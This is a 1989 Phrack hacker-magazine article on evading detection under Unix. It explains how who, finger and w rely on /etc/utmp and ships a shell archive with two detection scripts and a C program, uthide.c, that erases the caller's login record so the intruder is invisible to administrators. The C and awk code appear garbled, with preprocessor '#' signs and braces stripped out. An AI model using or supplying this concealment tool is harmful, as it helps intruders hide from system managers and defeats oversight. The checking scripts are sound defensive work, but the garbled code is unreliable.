                                ==Phrack Inc.==

                     Volume Three, Issue 25, File 6 of 11

                             HIDING OUT UNDER UNIX

                              By BLACK TIE AFFAIR

                                March 25, 1989


Under Unix, a user can see who's currently logged into the system with commands
like 'who', 'finger' and 'w'.  All these programs gather parts or all of their
information by looking at the file /etc/utmp.

This file contains one record for each terminal connected to the system and
activated for logins.  The format of the record differs between the various
Unix versions, but there are common fields which exist on every popular Unix
descent:  The name of the terminal device (ut_line) and the name of the user
logged in on that line (ut_user).

Though the design of the Unix operating system is basically (!) consistent,
this scheme shows some problems.  The information whether a process is
considered to be a terminal session is not kept in the process itself, but in a
separate file.  Thus, it is the duty of user mode programs to keep this file up
to date, and gives an excellent point for a hacker to put his drill on.  To be
fair here, other operating systems have similar problems.  But we're talking
Unix currently.

There is another mechanism available under Unix, which can provide information
about terminal sessions:  The 'controlling tty'.  The first terminal device a
process opens becomes that process controlling tty.  Unix uses this information
internally to determine which processes should be signaled when the user types
one of the signal generating keys (CTRL-C, CTRL-\ etc.) on the terminal.  When
such a character is encountered by the terminal driver, all processes which
have this terminal device as controlling tty receive the signal corresponding
to that character.

A process is not needingly an interactive session if it has a controlling tty,
though.  Any process which opens a terminal device (which could be a network
process which uses a tty device for communication to another machine) has this
terminal as it's controlling tty.

As such, it is good practice to cross-check the contents of the utmp file with
all processes in the system which have a controlling tty.  Two shell scripts
which exactly do this on BSD and System V Unix systems are included at the end
of this file.  Both perform the same function:  They use who(1) to get a list
of the sessions mentioned in the utmp file, and ps(1) to get a list of all
processes currently running.  It outputs all processes which have a controlling
tty but are not visible with who(1).  A little flaw here is the fact that
getty processes waiting on a terminal for someone to log in are displayed.

The family of 'who'-programs just scans the utmp-file for entries which belong
to an active login session, and formats those records to be human-readable.
The decision whether an entry corresponds to an active session is different
under different Unix versions.  Those who have the old utmp file format (System
III, System 5R1, BSD) look at the ut_user field.  If the first byte is
non-null, the entry is considered to correspond to an active session.  Under
System 5 since release 2, the utmp structure has been enhanced to contain a
type field (ut_type) which tells about the type of the entry.  who(1) only
displays a record, when the ut_type field contains the value USER_PROCESS (as
defined in /usr/include/utmp.h).  Other records are ignored unless the -a
option is specified to who(1).

Being invisible to the who-family of programs gives some advantage to a hacker.
He can stay in the system with a degraded risk of being discovered by a system
manager who spies around.  Of course, a system with a properly protected utmp
file is not vulnerable to this kind of hide out, provided that the hacker
didn't manage to get root access.  For clearance, a little C program which
demonstrates this kind of hideout is included in the shar file at the end of
this article.  Just compile and run it with proper permissions to see how to
hide.

! /bin/sh
 This is a shell archive.  Remove anything before this line, then feed it
 into a shell via "sh file" or similar.  To overwrite existing files,
 type "sh file -c".
 The tool that generated this appeared in the comp.sources.unix newsgroup;
 send mail to comp-sources-unix@uunet.uu.net if you want that tool.
 If this archive is complete, you will see the following message at the end:
               "End of shell archive."
 Contents:  check.bsd check.sysv uthide.c
PATH=/bin:/usr/bin:/usr/ucb ; export PATH
if test -f 'check.bsd' -a "$1" != "-c" ; then
  echo shar: Will not clobber existing file \"'check.bsd'\"
else
echo shar: Extracting \"'check.bsd'\" \(305 characters\)
sed "s/^X//" >'check.bsd' <<'END_OF_FILE'
X:
X
X(who ; echo "___" ; ps au) | awk '
X              if ($0 == "___")
X                       pslist = 1
X                       next
X
X               if ( pslist )
X                       if (ttys[$7] == 0)
X                               print $0
X
X                else
X                       if (substr($2, 0, 3) == "tty")
X                               id = substr($2, 4, 2)
X                               ttys[id] = 1
X                        else
X                               if ($2 == "console")
X                                       ttys["co"] = 1
X
X
X

END_OF_FILE
if test 306 -ne `wc -c <'check.bsd'`; then
    echo shar: \"'check.bsd'\" unpacked with wrong size!
fi
 end of 'check.bsd'
fi
if test -f 'check.sysv' -a "$1" != "-c" ; then
  echo shar: Will not clobber existing file \"'check.sysv'\"
else
echo shar: Extracting \"'check.sysv'\" \(312 characters\)
sed "s/^X//" >'check.sysv' <<'END_OF_FILE'
X:
X
X(who ; echo "___" ; ps -fe) | awk '
X              if ($0 == "___")
X                       pslist = 1
X                       next
X
X               if ( pslist )
X                       if ($6 != "?" && ttys[$6] == 0)
X                               print $0
X
X                else
X                       if (substr($2, 0, 3) == "tty")
X                               id = substr($2, 4, 2)
X                               ttys[id] = 1
X                        else
X                               if ($2 == "console")
X                                       ttys["co"] = 1
X
X

END_OF_FILE
if test 313 -ne `wc -c <'check.sysv'`; then
    echo shar: \"'check.sysv'\" unpacked with wrong size!
fi
 end of 'check.sysv'
fi
if test -f 'uthide.c' -a "$1" != "-c" ; then
  echo shar: Will not clobber existing file \"'uthide.c'\"
else
echo shar: Extracting \"'uthide.c'\" \(1295 characters\)
sed "s/^X//" >'uthide.c' <<'END_OF_FILE'
X/* hide.c - needs write access to /etc/utmp */
X
Xinclude <sys/types.h>
Xinclude <utmp.h>
Xinclude <fcntl.h>
X
Xdefine UTMP "/etc/utmp"
X
Xifndef INIT_PROCESS
X/* this is some system with this useless utmp format.  we assume bsd, but
X * it could well be system III or some other historic version.  but come
X * on, guys -- go the modern way ;-)
X */
Xdefine        BSD
Xendif
X
Xifdef BSD
Xdefine        strrchr rindex
Xelse
Xdefine bzero(s,n) memset(s,'\0',n)
Xendif
X
Xchar *
Xbasename(path)
X
X       char    *path;
X      char    *p, *strrchr();
X
X       return((path && (p = strrchr(path, '/'))) ? p+1 : path);
X
X
Xmain()
X
X      struct  utmp    ut;
X       int             fd;
X       char            *strrchr();
X       char            *ttyname(), *tty = basename(ttyname(0));
X
X       if (!tty)
X               puts("not on a tty");
X               exit(1);
X
X
X       if ((fd = open(UTMP, O_RDWR)) < 0)
X               perror(UTMP);
X               exit(2);
X
X
X       while (read(fd, &ut, sizeof(ut)) == sizeof(ut))
X               if (!strncmp(ut.ut_line, tty, sizeof(ut.ut_line)))
X                       bzero(ut.ut_name, sizeof(ut.ut_name));
Xifndef BSD
X                       ut.ut_type = INIT_PROCESS;
X                       ut.ut_pid = 1;
Xelse
X                       bzero(ut.ut_host, sizeof(ut.ut_host));
Xendif BSD
X                       if (lseek(fd, -sizeof(ut), 1) < 0)
X                               puts("seek error");
X                               exit(3);
X
X                       if (write(fd, &ut, sizeof(ut)) != sizeof(ut))
X                               puts("write error");
X                               exit(4);
X
X                       exit(0);
X
X
X
X       puts("you don't exist");
X       exit(5);
X

END_OF_FILE
if test 1296 -ne `wc -c <'uthide.c'`; then
    echo shar: \"'uthide.c'\" unpacked with wrong size!
fi
 end of 'uthide.c'
fi
echo shar: End of shell archive.
exit 0
_______________________________________________________________________________

